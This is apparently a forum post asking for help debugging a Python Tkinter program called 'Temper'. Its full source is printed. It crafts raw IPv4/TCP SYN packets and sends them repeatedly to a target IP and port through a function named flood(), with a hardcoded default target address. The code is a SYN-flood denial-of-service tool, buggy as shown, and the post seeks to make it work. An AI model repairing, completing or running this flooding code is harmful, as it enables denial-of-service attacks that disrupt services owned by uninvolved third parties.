I am having troubles while trying to send raw socket headers. Here is the error it is throwing:
Exception in Tkinter callback
Exception in Tkinter callback
Error:Traceback (most recent call last):
File "C:\Users\IronReign\Desktop\ProgrammingSaves\Programming\Python\lib\tkinter\__init__.py", line 1549, in __call__
return self.func(*args)
File "C:\Users\IronReign\Desktop\ProgrammingSaves\Temper\Temper.py", line 192, in prep
self.flood()
File "C:\Users\IronReign\Desktop\ProgrammingSaves\Temper\Temper.py", line 199, in flood
self.sock.sendto(self.packet,(self.mainip,self.mainport))
TypeError: string or unicode text buffer expected, not StringVar
Here is my code: try: from tkinter import * from tkinter import ttk from random import randrange import urllib.request import os, socket, tkinter.messagebox as tm, struct, random print("All modules imported!") except: print("Could not import all modules.. You may be missing some.") root = Tk() root.path = os.path.realpath(__file__) print("File path:",root.path) root.geometry("450x250") root.resizable(width=FALSE, height=FALSE) root.iconbitmap("z_icon.ico") root.title("Temper") root.loop_counter = 0 class main(Frame): def __init__(self, master): super().__init__(master) #Making the notebook noteframe = ttk.Notebook(root, width = 450, height=250) main = ttk.Frame(noteframe) ipgrabber = ttk.Frame(noteframe) settings = ttk.Frame(noteframe) myinfo = ttk.Frame(noteframe) noteframe.add(main, text='Main') #noteframe.add(myinfo, text='My Info') #Putting this on the main tab to fill space noteframe.add(settings, text='Settings') #Message Library msg_1 = "Find my source code on GitHub" msg_2 = "Save paper, use a computer." msg_3 = "Programming is love. Programming is life." msg_4 = "STACK-FUKING-OVERFLOW" msg_5 = "Na-na na-na boo boo, stick your head in doo doo" msg_6 = "PC master race" msg_7 = "Hello. It's me." msg_8 = "Pardon me.. Just testing some things..." msg_9 = "Ones and yeeYee" msg_10 = "Im not a hacker, im a security expert" #Create a bigger message library message_cache = [msg_1, msg_2, msg_3, msg_4, msg_5, msg_6, msg_7, msg_8, msg_9, msg_10] random_index = randrange(0,len(message_cache)) #Create a random number to use as the port Numbers = range(1000, 9999) self.random_port = random.choice(Numbers) #Variables self.thingtograb = StringVar() self.mainip = StringVar() self.mainport = StringVar() self.interval = StringVar() self.timeout = StringVar() self.faillimit = StringVar() self.message = StringVar() #Setting the default settings self.thingtograb.set("google.com") self.mainip.set("66.58.255.24") self.mainport.set("80") self.interval.set("0") self.timeout.set("1") self.faillimit.set("3") self.message.set(message_cache[random_index]) #Main widgets ip_ = Label(main, text="IP: ", font=("mincho ", 12, "bold")).grid(row=1, column=1, columnspan=2, sticky=W) port_ = Label(main, text="Port: ", font=("mincho ", 12, "bold")).grid(row=2, column=1, sticky=W) allowance_ = Label(main, text="Allowance: ", font=("mincho ", 12, "bold")).grid(row=3, column=1, sticky=W) interval_ = Label(main, text="Interval: ", font=("mincho ", 12, "bold")).grid(row=4, column=1, sticky=W) timeout_ = Label(main, text="Timeout: ", font=("mincho ", 12, "bold")).grid(row=5, column=1, sticky=W) fail_ = Label(main, text="Fail Limit: ", font=("mincho ", 12, "bold")).grid(row=6, column=1, sticky=W) message_ = Label(main, text="Message: ", font=("mincho ", 12, "bold")).grid(row=6, column=1, sticky=W) mainipint = ttk.Entry(main, width=16, textvariable=self.mainip).grid(row=1, column=2, sticky=W, pady=2) portint = ttk.Entry(main, width=8, textvariable=self.mainport).grid(row=2, column=2, sticky=W, pady=2) intervalint = ttk.Entry(main, width=6, textvariable=self.interval).grid(row=3, column=2, sticky=W, pady=2) timeoutent = ttk.Entry(main, width=6, textvariable=self.timeout).grid(row=4, column=2, sticky=W, pady=2) failent = ttk.Entry(main, width=6, textvariable=self.faillimit).grid(row=5, column=2, sticky=W, pady=2) messageent = ttk.Entry(main, width=30, textvariable = self.message).grid(row=6, column=2, columnspan=6, sticky=W, pady=2) start = ttk.Button(main, width=10, text="Start", command=self.prep).grid(row=7, column=1, sticky=W) stop = ttk.Button(main, width=10, text="Stop").grid(row=7, column=2, sticky=W) #add reset button #add change message button program_name = Label(main, text="Temper", fg="darkred", font=("System", 32)).grid(row=8, column=1, rowspan=2, columnspan=2, sticky=W) separator = ttk.Separator(main, orient=VERTICAL).grid(row=1, column=4, rowspan=5, sticky=NS) separator2 = ttk.Separator(main, orient=VERTICAL).grid(row=7, column=4, rowspan=15, sticky=NS) #IPgrabber widgets label = Label(main, text="Domain Name: ", font=("System", 11, "bold")).grid(row=1, column=5, sticky=W) entry = ttk.Entry(main, textvariable=self.thingtograb).grid(row=1, column=6, sticky=W) button = ttk.Button(main, text="Grab", command=self.grabIP).grid(row=2, column=6, sticky=E) #My Info widgets self.publicip = StringVar() self.publicport = StringVar() self.sent = StringVar() self.totalsent = StringVar() self.failsend = StringVar() self.publicport.set(self.random_port) self.sent.set(str(0)) self.totalsent.set(0) self.failsend.set(0) self.publicip.set(urllib.request.urlopen('[url=http://ident.me/url]').read().decode('utf8')) myip = Label(main, text="Public IP:", font=("System", 11, "bold")).grid(row=3, column=5, sticky=W) public_ip = Label(main, textvariable=self.publicip).grid(row=3, column=6, sticky=W) myport = Label(main, text="Public Port:", font=("System", 11, "bold")).grid(row=4, column=5, sticky=W) public_port = Label(main, textvariable=self.publicport).grid(row=4, column=6, sticky=W) send_status = Label(main, text="Send Status: ", font=("System", 11, "bold")).grid(row=5, column=5, sticky=W) sent_label = Label(main, text="Sent:", font=("System", 11, "bold")).grid(row=7, column=5, rowspan=1, sticky=W) totalsent_label = Label(main, text="Total Sent:", font=("System", 11, "bold")).grid(row=8, column=5,rowspan=1, sticky=W) failed_sent = Label(main, text="Failed:", font=("System", 11, "bold")).grid(row=9, column=5,rowspan=1, sticky=W) self.sentlabel = Label(main, textvariable = self.sent) self.sentlabel.grid(row=7, column=6, sticky=W) self.totalsentlabel = Label(main, textvariable=self.totalsent) self.totalsentlabel.grid(row=8, column=6, sticky=W) self.failedsendlabel = Label(main, textvariable=self.failsend) self.failedsendlabel.grid(row=9, column=6, sticky=W) noteframe.grid() def grabIP(self): self.mainip.set(socket.gethostbyname(self.thingtograb.get())) def prep(self): if self.mainip.get() == "": tm.showinfo("Requirements error", "Please enter a target IP...") self.stop() elif self.mainport.get() == "": tm.showinfo("Requirements error", "Please enter a target port...") self.stop() elif self.interval.get() == "": tm.showinfo("Requirements error", "Please enter an interval...") self.stop() elif self.timeout.get() == "": tm.showinfo("Requirements error", "Please enter a timeout time...") self.stop() elif self.faillimit.get() == "": tm.showinfo("Requirements error", "Please set the failed send limit...") self.stop() elif self.message.get() == "": tm.showinfo("Requirements error", "Please enter a message...") self.stop() def headers(): #ip header version = 4 ihl = 5 DF = 0 Tlen = 20 + 20 ID = 43533 Flag = 0 Fragment = 0 TTL = 225 Proto = socket.IPPROTO_TCP ip_checksum = 0 SIP = socket.inet_aton(str(self.publicip.get())) DIP = socket.inet_aton(str(self.mainip.get())) ver_ihl = (version << 4) + ihl f_f = (Flag << 13) + Fragment self.ip_hdr = struct.pack("!BBHHHBBH4s4s", ver_ihl,DF,Tlen,ID,f_f,TTL,Proto,ip_checksum,SIP,DIP) #tcp header tcp_source = int(str(self.publicport.get())) tcp_dest = int(str(self.mainport.get())) tcp_seq = 454 tcp_ack_seq = 0 tcp_doff = 5 #tcp flags tcp_fin = 0 tcp_syn = 1 tcp_rst = 0 tcp_psh = 0 tcp_ack = 0 tcp_urg = 0 tcp_window = socket.htons(5840) tcp_check = 0 tcp_urg_ptr = 0 tcp_offset_res = (tcp_doff << 4) + 0 tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5) self.tcp_hdr = struct.pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) #pseudo header source_address = socket.inet_aton(str(self.publicip.get())) dest_address = socket.inet_aton(str(self.mainip.get())) placeholder = 0 protocol = socket.IPPROTO_TCP tcp_length = len(self.tcp_hdr) self.psh = struct.pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length); self.psh = self.psh + self.tcp_hdr; #tcp_checksum = checksum(psh) headers() self.packet = self.ip_hdr + self.psh print("Packets created!") try: self.sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) #self.sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) self.loop = True except socket.error: tm.showinfo("Problem with privileges...", """[User Error] Could not create socket.. Please make sure you have admin privileges.""") self.flood() def flood(self): msg = self.message.get() msg.encode("utf-8") if self.loop == True: root.loop_counter=root.loop_counter+1 try: self.sock.sendto(self.packet,(self.mainip,self.mainport)) self.sent.set((self.sent.get()+1)) #this will just keep adding "1" making it look like "111111111111111111" as it sends more and more self.sentlabel.config(textvariable=self.sent) self.totalsentlabel.config(textvariable=self.totalsent) print("[Console] Sockets sent:", root.loop_counter) except socket.error: self.failsend.set((self.failsend + 1)) self.failedsendlabel.config(textvariable=self.failsend) root.after((self.timeout), self.flood) else: self.stop() def stop(self): #add sent to total sent for the label #reset sent label and failed label self.loop = False frame = main(root) root.mainloop()